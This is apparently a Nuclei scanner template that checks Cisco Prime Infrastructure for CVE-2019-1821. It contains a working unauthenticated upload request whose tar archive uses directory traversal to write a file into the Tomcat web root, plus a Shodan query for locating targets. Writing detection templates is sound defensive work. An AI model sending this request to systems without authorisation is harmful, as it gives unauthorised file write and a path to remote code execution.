id: CVE-2019-1821

info:
  name: Cisco Prime Infrastructure Unauthorized RCE
  author: _0xf4n9x_
  severity: critical
  description: Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability.
  reference:
    - https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1821
  metadata:
    shodan-query: 'http.title:"prime infrastructure"'
  tags: cve,cve2019,rce,fileupload,unauth,intrusive
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2019-1821
    cwe-id: CWE-20

requests:
  - raw:
      - |
        POST /servlet/UploadServlet HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Primary-IP: 127.0.0.1
        Filename: test.tar
        Filesize: 10240
        Compressed-Archive: false
        Destination-Dir: tftpRoot
        Filecount: 1
        Content-Length: 269
        Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83

        --871a4a346a547cf05cb83f57b9ebcb83
        Content-Disposition: form-data; name="files"; filename="test.tar"

        ../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar  00000000000000{{randstr}}
        --871a4a346a547cf05cb83f57b9ebcb83--

      - |
        GET /test.txt HTTP/1.1
        Host: {{Host}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains((body_2), '{{randstr}}')"
        condition: and